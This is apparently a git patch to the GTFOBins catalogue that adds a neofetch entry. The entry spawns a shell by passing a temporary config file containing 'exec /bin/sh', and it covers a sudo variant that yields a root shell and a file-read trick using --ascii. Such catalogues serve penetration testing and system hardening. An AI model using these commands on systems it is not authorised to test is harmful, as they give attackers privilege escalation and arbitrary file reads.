From 720cc73c7e1031ec703e5d13cbbf5c928ba6c1ba Mon Sep 17 00:00:00 2001 From: ymka-shelter <70764145+ymka-shelter@users.noreply.github.com> Date: Mon, 9 May 2022 12:41:13 +0000 Subject: [PATCH] Add neofetch shell Co-authored-by: Andrea Cardaci --- _gtfobins/neofetch.md | 14 ++++++++++---- 1 file changed, 10 insertions(+), 4 deletions(-) diff --git a/_gtfobins/neofetch.md b/_gtfobins/neofetch.md index 26a468c..d759390 100644 --- a/_gtfobins/neofetch.md +++ b/_gtfobins/neofetch.md @@ -1,12 +1,18 @@ --- -description: The file content is used as the logo while some other information is displayed on its right, thus it might not be suitable to read arbitray binary files. functions: - file-read: + shell: - code: | + TF=$(mktemp) + echo 'exec /bin/sh' >$TF + neofetch --config $TF + file-read: + - description: The file content is used as the logo while some other information is displayed on its right, thus it might not be suitable to read arbitray binary files. + code: | LFILE=file_to_read neofetch --ascii $LFILE sudo: - code: | - LFILE=file_to_read - sudo neofetch --ascii $LFILE + TF=$(mktemp) + echo 'exec /bin/sh' >$TF + sudo neofetch --config $TF ---